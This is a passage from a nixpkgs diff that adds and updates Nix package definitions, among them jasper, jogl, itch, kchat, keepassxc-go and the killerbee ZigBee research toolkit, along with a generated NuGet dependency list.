./lts.nix else ./latest.nix; - inherit (import releaseFile) version hash vendorHash; + inherit (import releaseFile { inherit fetchpatch; }) + version + hash + patches + vendorHash + ; name = "incus${lib.optionalString lts "-lts"}"; in -buildGoModule rec { +buildGoModule { pname = "${name}-unwrapped"; - inherit vendorHash version; + inherit patches vendorHash version; src = fetchFromGitHub { owner = "lxc"; diff --git a/pkgs/by-name/in/influxdb-cxx/package.nix b/pkgs/by-name/in/influxdb-cxx/package.nix new file mode 100644 index 0000000000000..cc97be1c68749 --- /dev/null +++ b/pkgs/by-name/in/influxdb-cxx/package.nix @@ -0,0 +1,45 @@ +{ lib, stdenv, fetchFromGitHub, fetchpatch, cmake, boost, catch2_3, libcpr, trompeloeil }: + +stdenv.mkDerivation (finalAttrs: { + pname = "influxdb-cxx"; + version = "0.7.2"; + + src = fetchFromGitHub { + owner = "offa"; + repo = "influxdb-cxx"; + rev = "v${finalAttrs.version}"; + hash = "sha256-DFslPrbgqS3JGx62oWlsC+AN5J2CsFjGcDaDRCadw7E="; + }; + + patches = [ + # Fix unclosed test case tag + (fetchpatch { + url = "https://github.com/offa/influxdb-cxx/commit/b31f94982fd1d50e89ce04f66c694bec108bf470.patch"; + hash = "sha256-oSdpNlWV744VpzfiWzp0ziNKaReLTlyfJ+SF2qyH+TU="; + }) + ]; + + postPatch = '' + substituteInPlace CMakeLists.txt --replace "-Werror" "" + ''; + + nativeBuildInputs = [ cmake ]; + + buildInputs = [ boost libcpr ] + ++ lib.optionals finalAttrs.doCheck [ catch2_3 trompeloeil ]; + + cmakeFlags = [ + (lib.cmakeBool "INFLUXCXX_TESTING" finalAttrs.doCheck) + (lib.cmakeFeature "CMAKE_CTEST_ARGUMENTS" "-E;BoostSupportTest") # requires network access + ]; + + doCheck = true; + + meta = with lib; { + description = "InfluxDB C++ client library"; + homepage = "https://github.com/offa/influxdb-cxx"; + license = licenses.mit; + maintainers = with maintainers; [ sikmir ]; + platforms = platforms.unix; + }; +}) diff --git a/pkgs/by-name/in/intune-portal/package.nix b/pkgs/by-name/in/intune-portal/package.nix index fa8e7b5871a48..8b6667867627d 100644 --- a/pkgs/by-name/in/intune-portal/package.nix +++ b/pkgs/by-name/in/intune-portal/package.nix @@ -23,11 +23,11 @@ }: stdenv.mkDerivation rec { pname = "intune-portal"; - version = "1.2312.35-jammy"; + version = "1.2401.21-jammy"; src = fetchurl { url = "https://packages.microsoft.com/ubuntu/22.04/prod/pool/main/i/${pname}/${pname}_${version}_amd64.deb"; - hash = "sha256-mgcnqj/+4ffMf4PhMW4ovCotLilyudGOpn0qqXZCmzc="; + hash = "sha256-BIPTVhOBzaKzZR0WhQOX2W8kDg64UWOgIVvgaw2Gckc="; }; nativeBuildInputs = [ dpkg ]; diff --git a/pkgs/by-name/io/ioq3-scion/package.nix b/pkgs/by-name/io/ioq3-scion/package.nix new file mode 100644 index 0000000000000..bb28ff1989035 --- /dev/null +++ b/pkgs/by-name/io/ioq3-scion/package.nix @@ -0,0 +1,19 @@ +{ ioquake3, fetchFromGitHub, pan-bindings, libsodium, lib }: +ioquake3.overrideAttrs (old: { + pname = "ioq3-scion"; + version = "unstable-2024-03-03"; + buildInputs = old.buildInputs ++ [ + pan-bindings + libsodium + ]; + src = fetchFromGitHub { + owner = "lschulz"; + repo = "ioq3-scion"; + rev = "9f06abd5030c51cd4582ba3d24ba87531e3eadbc"; + hash = "sha256-+zoSlNT+oqozQFnhA26PiMo1NnzJJY/r4tcm2wOCBP0="; + }; + meta = { + description = "ioquake3 with support for path aware networking"; + maintainers = with lib.maintainers; [ matthewcroughan ]; + }; +}) diff --git a/pkgs/by-name/ip/ipam/package.nix b/pkgs/by-name/ip/ipam/package.nix new file mode 100644 index 0000000000000..ec54b78e6e9d9 --- /dev/null +++ b/pkgs/by-name/ip/ipam/package.nix @@ -0,0 +1,42 @@ +{ lib +, buildGoModule +, fetchFromGitea +, installShellFiles +}: + +buildGoModule rec { + pname = "ipam"; + version = "0.3.0-1"; + + src = fetchFromGitea { + domain = "codeberg.org"; + owner = "lauralani"; + repo = "ipam"; + rev = "v${version}"; + hash = "sha256-6gOkBjXgaMMWFRXFTSBY9YaNPdMRyLl8wy7BT/5vHio="; + }; + + nativeBuildInputs = [ + installShellFiles + ]; + + vendorHash = "sha256-l8eeeYv41yUPQ1dyJY4Jo3uvULrc1B/buGlMxYSdhCA="; + + ldflags = [ "-s" "-w" ]; + + postInstall = '' + installShellCompletion --cmd ipam \ + --bash <($out/bin/ipam completion bash) \ + --fish <($out/bin/ipam completion fish) \ + --zsh <($out/bin/ipam completion zsh) + ''; + + meta = with lib; { + description = "A cli based IPAM written in Go with PowerDNS support"; + homepage = "https://ipam.lauka.net/"; + changelog = "https://codeberg.org/lauralani/ipam/releases/tag/v${version}"; + license = licenses.gpl3Plus; + maintainers = with maintainers; [ janik ]; + mainProgram = "ipam"; + }; +} diff --git a/pkgs/games/itch/default.nix b/pkgs/by-name/it/itch/package.nix index 897d8f3941c46..3ba0c6cb43503 100644 --- a/pkgs/games/itch/default.nix +++ b/pkgs/by-name/it/itch/package.nix @@ -11,27 +11,27 @@ }: stdenvNoCC.mkDerivation rec { pname = "itch"; - version = "26.1.2"; + version = "26.1.3"; # TODO: Using kitch instead of itch, revert when possible src = fetchzip { - url = "https://broth.itch.ovh/k${pname}/linux-amd64/${version}/archive/default#.zip"; + url = "https://broth.itch.ovh/kitch/linux-amd64/${version}/archive/default#.zip"; stripRoot = false; - sha256 = "sha256-thXe+glpltSiKNGIRgvOZQZPJWfDHWo3dLdziyp2BM4="; + hash = "sha256-FHwbzLPMzIpyg6KyYTq6/rSNRH76dytwb9D5f9vNKkU="; }; itch-setup = fetchzip { url = "https://broth.itch.ovh/itch-setup/linux-amd64/1.26.0/itch-setup.zip"; stripRoot = false; - sha256 = "sha256-5MP6X33Jfu97o5R1n6Og64Bv4ZMxVM0A8lXeQug+bNA="; + hash = "sha256-5MP6X33Jfu97o5R1n6Og64Bv4ZMxVM0A8lXeQug+bNA="; }; icons = let sparseCheckout = "/release/images/itch-icons"; in fetchFromGitHub { owner = "itchio"; - repo = pname; + repo = "itch"; rev = "v${version}-canary"; - sha256 = "sha256-veZiKs9qHge+gCEpJ119bAT56ssXJAH3HBcYkEHqBFg="; + hash = "sha256-0AMyDZ5oI7/pSvudoEqXnMZJtpcKVlUSR6YVm+s4xv0="; sparseCheckout = [ sparseCheckout ]; } + sparseCheckout; @@ -39,11 +39,11 @@ stdenvNoCC.mkDerivation rec { desktopItems = [ (makeDesktopItem { - name = pname; + name = "itch"; exec = "itch %U"; - tryExec = pname; - icon = pname; - desktopName = pname; + tryExec = "itch"; + icon = "itch"; + desktopName = "itch"; mimeTypes = [ "x-scheme-handler/itchio" "x-scheme-handler/itch" ]; comment = "Install and play itch.io games easily"; categories = [ "Game" ]; @@ -58,8 +58,8 @@ stdenvNoCC.mkDerivation rec { substituteInPlace ./resources/app/package.json \ --replace "kitch" "itch" - mkdir -p $out/bin $out/share/${pname}/resources/app - cp -r resources/app "$out/share/${pname}/resources/" + mkdir -p $out/bin $out/share/itch/resources/app + cp -r resources/app "$out/share/itch/resources/" install -Dm644 LICENSE -t "$out/share/licenses/$pkgname/" install -Dm644 LICENSES.chromium.html -t "$out/share/licenses/$pkgname/" @@ -76,9 +76,9 @@ stdenvNoCC.mkDerivation rec { ''; postFixup = '' - makeWrapper ${steam-run}/bin/steam-run $out/bin/${pname} \ + makeWrapper ${steam-run}/bin/steam-run $out/bin/itch \ --add-flags ${electron}/bin/electron \ - --add-flags $out/share/${pname}/resources/app \ + --add-flags $out/share/itch/resources/app \ --set BROTH_USE_LOCAL butler,itch-setup \ --prefix PATH : ${butler}/bin/:${itch-setup} ''; @@ -90,5 +90,6 @@ stdenvNoCC.mkDerivation rec { platforms = platforms.linux; sourceProvenance = [ lib.sourceTypes.binaryBytecode ]; maintainers = with maintainers; [ pasqui23 ]; + mainProgram = "itch"; }; } diff --git a/pkgs/by-name/ja/jan/package.nix b/pkgs/by-name/ja/jan/package.nix index 2566dc09bc65e..44296231986f1 100644 --- a/pkgs/by-name/ja/jan/package.nix +++ b/pkgs/by-name/ja/jan/package.nix @@ -5,10 +5,10 @@ let pname = "jan"; - version = "0.4.6"; + version = "0.4.7"; src = fetchurl { url = "https://github.com/janhq/jan/releases/download/v${version}/jan-linux-x86_64-${version}.AppImage"; - hash = "sha256-/FYaFyp028CeEFfrxNnj67/z7FoOwU0wC2V56mACD5Q="; + hash = "sha256-Mn7rIBEf46JbNof8h3z66TGdGKnb0FGMJc46JncA0KM="; }; appimageContents = appimageTools.extractType2 { inherit pname version src; }; diff --git a/pkgs/by-name/ja/jasper/package.nix b/pkgs/by-name/ja/jasper/package.nix index 47a8cf5b85a16..88665973596a2 100644 --- a/pkgs/by-name/ja/jasper/package.nix +++ b/pkgs/by-name/ja/jasper/package.nix @@ -1,33 +1,59 @@ { lib -, stdenv -, fetchFromGitHub , cmake +, fetchFromGitHub +, freeglut +, libGL +, libheif +, libjpeg , pkg-config +, stdenv +, enableHEIFCodec ? true +, enableJPGCodec ? true +, enableOpenGL ? true }: stdenv.mkDerivation (finalAttrs: { pname = "jasper"; - version = "4.1.2"; + version = "4.2.1"; src = fetchFromGitHub { owner = "jasper-software"; repo = "jasper"; rev = "version-${finalAttrs.version}"; - hash = "sha256-tTgoRLthNLqRO8fDrmGHVCB9QXpmPmTr9uqSFwkIK+s="; + hash = "sha256-SE3zB+8zZuuT+W6QYTuQhM+dBgYuFzYK4a7QaquGB60="; }; - outputs = [ "out" "doc" "man" ]; + # Splitting outputs going bad on Darwin + outputs = if stdenv.isDarwin + then [ "out" ] + else [ "out" "dev" "doc" "lib" "man" ]; nativeBuildInputs = [ cmake pkg-config ]; + buildInputs = [ + ] ++ lib.optionals enableHEIFCodec [ + libheif + ] ++ lib.optionals enableJPGCodec [ + libjpeg + ] ++ lib.optionals enableOpenGL [ + freeglut + libGL + ]; + # Since "build" already exists and is populated, cmake tries to use it, # throwing uncomprehensible error messages... cmakeBuildDir = "build-directory"; cmakeFlags = [ (lib.cmakeBool "ALLOW_IN_SOURCE_BUILD" true) + (lib.cmakeBool "JAS_ENABLE_HEIC_CODEC" enableHEIFCodec) + (lib.cmakeBool "JAS_INCLUDE_HEIC_CODEC" enableHEIFCodec) + (lib.cmakeBool "JAS_ENABLE_JPG_CODEC" enableJPGCodec) + (lib.cmakeBool "JAS_INCLUDE_JPG_CODEC" enableJPGCodec) + (lib.cmakeBool "JAS_ENABLE_MIF_CODEC" false) # Dangerous! + (lib.cmakeBool "JAS_ENABLE_OPENGL" enableOpenGL) ]; strictDeps = true; @@ -52,11 +78,13 @@ stdenv.mkDerivation (finalAttrs: { was chosen primarily due to the availability of C development environments for most computing platforms when JasPer was first developed, circa 1999. ''; - license = lib.licenses.mit; + license = with lib.licenses; [ mit ]; + mainProgram = "jasper"; maintainers = with lib.maintainers; [ AndersonTorres ]; platforms = lib.platforms.unix; - - # The value of __STDC_VERSION__ cannot be automatically determined when cross-compiling. + # The value of __STDC_VERSION__ cannot be automatically determined when + # cross-compiling. broken = stdenv.buildPlatform != stdenv.hostPlatform; }; }) +# TODO: investigate opengl support diff --git a/pkgs/by-name/jo/jogl/package.nix b/pkgs/by-name/jo/jogl/package.nix index 611b85acd42e0..3919ee1e0e0f0 100644 --- a/pkgs/by-name/jo/jogl/package.nix +++ b/pkgs/by-name/jo/jogl/package.nix @@ -38,7 +38,31 @@ stdenv.mkDerivation { unpackCmd = "cp -r $curSrc \${curSrc##*-}"; - postPatch = lib.optionalString stdenv.isDarwin '' + postPatch = '' + substituteInPlace gluegen/src/java/com/jogamp/common/util/IOUtil.java \ + --replace-fail '#!/bin/true' '#!${coreutils}/bin/true' + '' + # set timestamp of files in jar to a fixed point in time + + '' + xmlstarlet ed --inplace \ + --append //jar --type attr -n modificationtime --value 1980-01-01T00:00Z \ + gluegen/make/{build.xml,gluegen-cpptasks-base.xml} \ + jogl/make/{build.xml,build-nativewindow.xml,build-jogl.xml} + '' + # prevent looking for native libraries in /usr/lib + + '' + substituteInPlace jogl/make/build-*.xml \ + --replace-warn 'dir="''${TARGET_PLATFORM_USRLIBS}"' "" + '' + # force way to do disfunctional "ant -Dsetup.addNativeBroadcom=false" and disable dependency on raspberrypi drivers + # if arm/aarch64 support will be added, this block might be commented out on those platforms + # on x86 compiling with default "setup.addNativeBroadcom=true" leads to unsatisfied import "vc_dispmanx_resource_delete" in libnewt.so + + '' + xmlstarlet ed --inplace \ + --delete '//*[@if="setup.addNativeBroadcom"]' \ + jogl/make/build-newt.xml + '' + + lib.optionalString stdenv.isDarwin '' sed -i '/if="use.macos/d' gluegen/make/gluegen-cpptasks-base.xml rm -r jogl/oculusvr-sdk ''; @@ -67,46 +91,35 @@ stdenv.mkDerivation { darwin.apple_sdk_11_0.frameworks.Cocoa ]; - # Workaround build failure on -fno-common toolchains: - # ld: ../obj/Bindingtest1p1Impl_JNI.o:(.bss+0x8): multiple definition of - # `unsigned_size_t_1'; ../obj/TK_Surface_JNI.o:(.bss+0x8): first defined here - NIX_CFLAGS_COMPILE = "-fcommon"; # copied from 2.3.2, is this still needed? + env = { + SOURCE_LEVEL = "1.8"; + TARGET_LEVEL = "1.8"; + TARGET_RT_JAR = "null.jar"; + # error: incompatible pointer to integer conversion returning 'GLhandleARB' (aka 'void *') from a function with result type 'jlong' (aka 'long long') + NIX_CFLAGS_COMPILE = lib.optionalString stdenv.cc.isClang "-Wno-int-conversion"; + }; buildPhase = '' - ( cd gluegen/make - substituteInPlace ../src/java/com/jogamp/common/util/IOUtil.java --replace '#!/bin/true' '#!${coreutils}/bin/true' - - # set timestamp of files in jar to a fixed point in time - xmlstarlet ed --inplace \ - --append //jar --type attr -n modificationtime --value 1980-01-01T00:00Z \ - build.xml gluegen-cpptasks-base.xml - - ant -Dtarget.sourcelevel=8 -Dtarget.targetlevel=8 -Dtarget.rt.jar='null.jar' ) - - ( cd jogl/make + runHook preBuild - # prevent looking for native libraries in /usr/lib - substituteInPlace build-*.xml \ - --replace 'dir="''${TARGET_PLATFORM_USRLIBS}"' "" + for f in gluegen jogl; do + pushd $f/make + ant + popd + done - # force way to do disfunctional "ant -Dsetup.addNativeBroadcom=false" and disable dependency on raspberrypi drivers - # if arm/aarch64 support will be added, this block might be commented out on those platforms - # on x86 compiling with default "setup.addNativeBroadcom=true" leads to unsatisfied import "vc_dispmanx_resource_delete" in libnewt.so - xmlstarlet ed --inplace --delete '//*[@if="setup.addNativeBroadcom"]' build-newt.xml - - # set timestamp of files in jar to a fixed point in time - xmlstarlet ed --inplace \ - --append //jar --type attr -n modificationtime --value 1980-01-01T00:00Z \ - build.xml build-nativewindow.xml build-jogl.xml - - ant -Dtarget.sourcelevel=8 -Dtarget.targetlevel=8 -Dtarget.rt.jar='null.jar' ) + runHook postBuild ''; installPhase = '' + runHook preInstall + mkdir -p $out/share/java cp -v $NIX_BUILD_TOP/gluegen/build/gluegen-rt{,-natives-linux-*}.jar $out/share/java/ cp -v $NIX_BUILD_TOP/jogl/build/jar/jogl-all{,-natives-linux-*}.jar $out/share/java/ cp -v $NIX_BUILD_TOP/jogl/build/nativewindow/nativewindow{,-awt,-natives-linux-*,-os-drm,-os-x11}.jar $out/share/java/ + + runHook postInstall ''; meta = with lib; { diff --git a/pkgs/by-name/js/jsoncons/package.nix b/pkgs/by-name/js/jsoncons/package.nix new file mode 100644 index 0000000000000..57908ded4a16c --- /dev/null +++ b/pkgs/by-name/js/jsoncons/package.nix @@ -0,0 +1,24 @@ +{ lib, stdenv, fetchFromGitHub, cmake }: + +stdenv.mkDerivation (finalAttrs: { + pname = "jsoncons"; + version = "0.173.4"; + + src = fetchFromGitHub { + owner = "danielaparker"; + repo = "jsoncons"; + rev = "v${finalAttrs.version}"; + hash = "sha256-Mf3kvfYAcwNrwbvGyMP6PQmk5e5Mz7b0qCZ6yi95ksk="; + }; + + nativeBuildInputs = [ cmake ]; + + meta = with lib; { + description = "A C++, header-only library for constructing JSON and JSON-like data formats"; + homepage = "https://danielaparker.github.io/jsoncons/"; + changelog = "https://github.com/danielaparker/jsoncons/blob/${finalAttrs.src.rev}/CHANGELOG.md"; + license = licenses.boost; + maintainers = with maintainers; [ sikmir ]; + platforms = platforms.all; + }; +}) diff --git a/pkgs/by-name/ka/kas/package.nix b/pkgs/by-name/ka/kas/package.nix index d2b0622267943..f17b7bfed3b09 100644 --- a/pkgs/by-name/ka/kas/package.nix +++ b/pkgs/by-name/ka/kas/package.nix @@ -2,13 +2,13 @@ python3.pkgs.buildPythonApplication rec { pname = "kas"; - version = "4.1"; + version = "4.2"; src = fetchFromGitHub { owner = "siemens"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-EYz9V45b7fSKoI8w9X0LcSTojErpJHfzxcdE4I4qD2k="; + hash = "sha256-NjNPcCqmjFeydTgNdN8QRrFG5Mys2jL4I8TiznO2rSA="; }; propagatedBuildInputs = with python3.pkgs; [ setuptools kconfiglib jsonschema distro pyyaml ]; diff --git a/pkgs/by-name/kc/kchat/package.nix b/pkgs/by-name/kc/kchat/package.nix new file mode 100644 index 0000000000000..bb806d5aa0a37 --- /dev/null +++ b/pkgs/by-name/kc/kchat/package.nix @@ -0,0 +1,43 @@ +{ lib +, fetchurl +, appimageTools +}: + +appimageTools.wrapType2 rec { + pname = "kchat"; + version = "2.4.0"; + + src = fetchurl { + url = "https://download.storage5.infomaniak.com/kchat/kchat-desktop-${version}-linux-x86_64.AppImage"; + name = "kchat-${version}.AppImage"; + hash = "sha256-8mkkHod7iBhHVAL/vQCVnmwVlPGikdHhtiEaFVIayrU="; + }; + + extraInstallCommands = + let + contents = appimageTools.extractType2 { inherit pname version src; }; + in + '' + mkdir -p "$out/share/applications" + mkdir -p "$out/share/lib/kchat" + cp -r ${contents}/{locales,resources} "$out/share/lib/kchat" + cp -r ${contents}/usr/* "$out" + cp "${contents}/kchat-desktop.desktop" "$out/share/applications/" + mv "$out/bin/kchat-${version}" "$out/bin/${meta.mainProgram}" + substituteInPlace $out/share/applications/kchat-desktop.desktop --replace 'Exec=AppRun' 'Exec=${meta.mainProgram}' + ''; + + meta = with lib; { + description = "Instant messaging service part of Infomaniak KSuite"; + homepage = "https://www.infomaniak.com/en/apps/download-kchat"; + license = licenses.unfree; + maintainers = [ maintainers.vinetos ]; + mainProgram = "kchat"; + platforms = [ "x86_64-linux" ]; + sourceProvenance = [ lib.sourceTypes.binaryNativeCode ]; + longDescription = '' + kChat is an instant messaging service which enables you to discuss, share and coordinate your teams in complete + security via your Internet browser, mobile phone, tablet or computer. + ''; + }; +} diff --git a/pkgs/by-name/ke/keep-sorted/package.nix b/pkgs/by-name/ke/keep-sorted/package.nix index c103e77dd0fcf..1ee3c5bcf608e 100644 --- a/pkgs/by-name/ke/keep-sorted/package.nix +++ b/pkgs/by-name/ke/keep-sorted/package.nix @@ -1,17 +1,18 @@ { lib , buildGoModule , fetchFromGitHub +, nix-update-script }: buildGoModule rec { pname = "keep-sorted"; - version = "0.3.1"; + version = "0.4.0"; src = fetchFromGitHub { owner = "google"; repo = "keep-sorted"; rev = "v${version}"; - hash = "sha256-wXR471Iuo+4oZUNa2MN4N5q0n7vEpYtoTaJHvdGIDHw="; + hash = "sha256-yeps+StUA7h12Jlra24Po2zNzjIPNIQCOyWLazC8F8M="; }; vendorHash = "sha256-tPTWWvr+/8wWUnQcI4Ycco2OEgA2mDQt15OGCk/ZjrQ="; @@ -25,6 +26,8 @@ buildGoModule rec { "-skip=^TestGoldens" ]; + passthru.updateScript = nix-update-script { }; + meta = { changelog = "https://github.com/google/keep-sorted/releases/tag/v${version}"; description = "Language-agnostic formatter that sorts lines between two markers in a larger file"; diff --git a/pkgs/by-name/ke/keepass/package.nix b/pkgs/by-name/ke/keepass/package.nix index c1a88d044d423..9b17ca09af8fa 100644 --- a/pkgs/by-name/ke/keepass/package.nix +++ b/pkgs/by-name/ke/keepass/package.nix @@ -5,11 +5,11 @@ stdenv.mkDerivation (finalAttrs: { pname = "keepass"; - version = "2.55"; + version = "2.56"; src = fetchurl { url = "mirror://sourceforge/keepass/KeePass-${finalAttrs.version}-Source.zip"; - hash = "sha256-XZf/5b+rwASB41DP3It3g8UUPIHWEtZBXGk+Qrjw1Bc="; + hash = "sha256-e6+z3M36LiS0/UonJOvD3q6+Ic31uMixL8DoML0UhEQ="; }; sourceRoot = "."; diff --git a/pkgs/by-name/ke/keepassxc-go/package.nix b/pkgs/by-name/ke/keepassxc-go/package.nix new file mode 100644 index 0000000000000..86fb02a25ca4b --- /dev/null +++ b/pkgs/by-name/ke/keepassxc-go/package.nix @@ -0,0 +1,38 @@ +{ lib +, buildGoModule +, fetchFromGitHub +, installShellFiles +}: + +buildGoModule rec { + pname = "keepassxc-go"; + version = "1.5.1"; + + src = fetchFromGitHub { + owner = "MarkusFreitag"; + repo = "keepassxc-go"; + rev = "v${version}"; + hash = "sha256-seCeHNEj5GxAI7BVMPzh+YuoxivmTwvhVCqY5LKHpQk="; + }; + + nativeBuildInputs = [ installShellFiles ]; + + vendorHash = "sha256-jscyNyVr+RDN1EaxIOc3aYCAVT+1eO/c+dxEsIorDIs="; + + postInstall = '' + local INSTALL="$out/bin/keepassxc-go" + installShellCompletion --cmd keepassxc-go \ + --bash <($out/bin/keepassxc-go completion bash) \ + --fish <($out/bin/keepassxc-go completion fish) \ + --zsh <($out/bin/keepassxc-go completion zsh) + ''; + + meta = with lib; { + description = "Library and basic CLI tool to interact with KeepassXC via unix socket"; + homepage = "https://github.com/MarkusFreitag/keepassxc-go"; + changelog = "https://github.com/MarkusFreitag/keepassxc-go/releases/tag/v${version}"; + license = licenses.mit; + maintainers = with maintainers; [ xgwq ]; + mainProgram = "keepassxc-go"; + }; +} diff --git a/pkgs/by-name/ki/killerbee/package.nix b/pkgs/by-name/ki/killerbee/package.nix new file mode 100644 index 0000000000000..d483da652ff9d --- /dev/null +++ b/pkgs/by-name/ki/killerbee/package.nix @@ -0,0 +1,44 @@ +{ lib +, fetchFromGitHub +, libgcrypt +, python3 +}: + +python3.pkgs.buildPythonApplication rec { + pname = "killerbee"; + version = "3.0.0-beta.2"; + pyproject = true; + + src = fetchFromGitHub { + owner = "riverloopsec"; + repo = "killerbee"; + rev = "refs/tags/${version}"; + hash = "sha256-WM0Z6sd8S71F8FfhhoUq3MSD/2uvRTY/FsBP7VGGtb0="; + }; + + nativeBuildInputs = with python3.pkgs; [ + setuptools + ]; + + buildInputs = with python3.pkgs; [ + libgcrypt + ]; + + propagatedBuildInputs = with python3.pkgs; [ + pyserial + pyusb + rangeparser + scapy + ]; + + pythonImportsCheck = [ + "killerbee" + ]; + + meta = with lib; { + description = "IEEE 802.15.4/ZigBee Security Research Toolkit"; + homepage = "https://github.com/riverloopsec/killerbee"; + license = licenses.bsd3; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/by-name/kn/knossosnet/deps.nix b/pkgs/by-name/kn/knossosnet/deps.nix new file mode 100644 index 0000000000000..233d43f5c0fe8 --- /dev/null +++ b/pkgs/by-name/kn/knossosnet/deps.nix @@ -0,0 +1,115 @@ +# This file was automatically generated by passthru.fetch-deps. +# Please dont edit it manually, your changes might get overwritten! + +{ fetchNuGet }: [ + (fetchNuGet { pname = "Avalonia"; version = "11.0.5"; sha256 = "1l8vpw7dmkgll197i42r98ikkl0g08469wkl1kxkcv8f0allgah6"; }) + (fetchNuGet { pname = "Avalonia.Angle.Windows.Natives"; version = "2.1.0.2023020321"; sha256 = "1az4s1g22ipak9a3xfh55z2h3rm6lpqh7svbpw6ag4ysrgsjjsjd"; }) + (fetchNuGet { pname = "Avalonia.BuildServices"; version = "0.0.29"; sha256 = "05mm7f0jssih3gbzqfgjnfq5cnqa85ihsg0z1897ciihv8qd3waq"; }) + (fetchNuGet { pname = "Avalonia.Controls.ColorPicker"; version = "11.0.5"; sha256 = "0w1909yjg1s1h6zzxbfw1dazvlknpgk9v7d03ik7ihd14lxzr1i2"; }) + (fetchNuGet { pname = "Avalonia.Controls.DataGrid"; version = "11.0.5"; sha256 = "14nr767zhxcqwis901sn5s9qala0wf2ip4pic3ncdvkhyhq6w9fs"; }) + (fetchNuGet { pname = "Avalonia.Desktop"; version = "11.0.5"; sha256 = "1zqp8whkvm95zxhjpwska7rhkbxjfkv2fz3821pn782931pn59ah"; }) + (fetchNuGet { pname = "Avalonia.Diagnostics"; version = "11.0.5"; sha256 = "1plr03dgq24gjlcx39qlbcg2ywh7in58yfkkq9snvnagh8yk3ifi"; }) + (fetchNuGet { pname = "Avalonia.FreeDesktop"; version = "11.0.5"; sha256 = "0sn6c3mqvc62vhy8ssmz515wbcaq418qfrck67zysp2qzw5iyv9v"; }) + (fetchNuGet { pname = "Avalonia.HtmlRenderer"; version = "11.0.0"; sha256 = "1glnc82dasxcajb84h41273cfaa5apxwfrh12bgd294hfzbza40c"; }) + (fetchNuGet { pname = "Avalonia.Native"; version = "11.0.5"; sha256 = "1n41g1z36sgvhfl7bdavc3j7ccr3qkbqjc4znimqazzyfifh0m99"; }) + (fetchNuGet { pname = "Avalonia.Remote.Protocol"; version = "11.0.5"; sha256 = "0a6a8lbpna3z5bcall7a953r3xjibcl90ic21gimwhipyp29sfn1"; }) + (fetchNuGet { pname = "Avalonia.Skia"; version = "11.0.5"; sha256 = "008pqpim91i6mya0nfn3g9gclh0dw5mqmhi2fdalbh62sa8a18xc"; }) + (fetchNuGet { pname = "Avalonia.Themes.Fluent"; version = "11.0.5"; sha256 = "1zhg11c8iah06gkv6gk7vzs0q9lbx1whfma5p2s00k3kyhv9lcqi"; }) + (fetchNuGet { pname = "Avalonia.Themes.Simple"; version = "11.0.5"; sha256 = "1i6xpihpw32i9mywzzhw0nyc2gkifmri6ylila21y8xb0jdazdyv"; }) + (fetchNuGet { pname = "Avalonia.Win32"; version = "11.0.5"; sha256 = "03rbx4msnl8jvw1017wi88rxvgg8iz7idy7wajp3nzk9m0c4pilx"; }) + (fetchNuGet { pname = "Avalonia.X11"; version = "11.0.5"; sha256 = "1bixdr5yzd9spyjc4n2kf1bwg52q3p5akj9xsr25xp310j3kgyxf"; }) + (fetchNuGet { pname = "CommunityToolkit.Mvvm"; version = "8.2.2"; sha256 = "01kkwhz3r7l9d70p6mcgpdc0f05dad0lv6dmcj4sq9ry9ic6pnmx"; }) + (fetchNuGet { pname = "HarfBuzzSharp"; version = "2.8.2.3"; sha256 = "115aybicqs9ijjlcv6k6r5v0agkjm1bm1nkd0rj3jglv8s0xvmp2"; }) + (fetchNuGet { pname = "HarfBuzzSharp.NativeAssets.Linux"; version = "2.8.2.3"; sha256 = "1f18ahwkaginrg0vwsi6s56lvnqvvxv7pzklfs5lnknasxy1a76z"; }) + (fetchNuGet { pname = "HarfBuzzSharp.NativeAssets.macOS"; version = "2.8.2.3"; sha256 = "052d8frpkj4ijs6fm6xp55xbv95b1s9biqwa0w8zp3rgm88m9236"; }) + (fetchNuGet { pname = "HarfBuzzSharp.NativeAssets.WebAssembly"; version = "2.8.2.3"; sha256 = "043hv36bg5240znbm8x5la7py17m4jfzy57q3ka32f6zjld83j36"; }) + (fetchNuGet { pname = "HarfBuzzSharp.NativeAssets.Win32"; version = "2.8.2.3"; sha256 = "08khd2jqm8sw58ljz5srangzfm2sz3gd2q1jzc5fr80lj8rv6r74"; }) + (fetchNuGet { pname = "ini-parser-netstandard"; version = "2.5.2"; sha256 = "14alsxh7ik07xl9xab8bdi108f4xhz8vcchxvxy1k5w3zf3gdml9"; }) + (fetchNuGet { pname = "MicroCom.Runtime"; version = "0.11.0"; sha256 = "0p9c3m0zk59x9dcqw077hzd2yk60myisbacvm36mnwpcjwzjkp2m"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.Analyzers"; version = "3.0.0"; sha256 = "0bbl0jpqywqmzz2gagld1p2gvdfldjfjmm25hil9wj2nq1zc4di8"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.Common"; version = "3.8.0"; sha256 = "12n7rvr39bzkf2maw7zplw8rwpxpxss4ich3bb2pw770rx4nyvyw"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.CSharp"; version = "3.8.0"; sha256 = "1kmry65csvfn72zzc16vj1nfbfwam28wcmlrk3m5rzb8ydbzgylb"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.CSharp.Scripting"; version = "3.8.0"; sha256 = "0w0yx0lpg54iw5jazqk46h48gx43ij32gwac8iywdj6kxfxm03vw"; }) + (fetchNuGet { pname = "Microsoft.CodeAnalysis.Scripting.Common"; version = "3.8.0"; sha256 = "0hjgxcsj5zy27lqk0986m59n5dbplx2vjjla2lsvg4bwg8qa7bpk"; }) + (fetchNuGet { pname = "Microsoft.CSharp"; version = "4.3.0"; sha256 = "0gw297dgkh0al1zxvgvncqs0j15lsna9l1wpqas4rflmys440xvb"; }) + (fetchNuGet { pname = "Microsoft.Extensions.DependencyInjection"; version = "7.0.0"; sha256 = "121zs4jp8iimgbpzm3wsglhjwkc06irg1pxy8c1zcdlsg34cfq1p"; }) + (fetchNuGet { pname = "Microsoft.Extensions.DependencyInjection.Abstractions"; version = "7.0.0"; sha256 = "181d7mp9307fs17lyy42f8cxnjwysddmpsalky4m0pqxcimnr6g7"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Http"; version = "7.0.0"; sha256 = "196b13zkkq0fhfgigkhwcw1hhaj4dj5pc27z7d5niaizzx6ycwiw"; }) + (fetchNuGet { pname = "Microsoft.Extensions.Logging"; version = "7.0.0"; sha256 = "1bqd3pqn5dacgnkq0grc17cgb2i0w8z1raw12nwm3p3zhrfcvgxf"; }) + (fetchNuGet { pname = 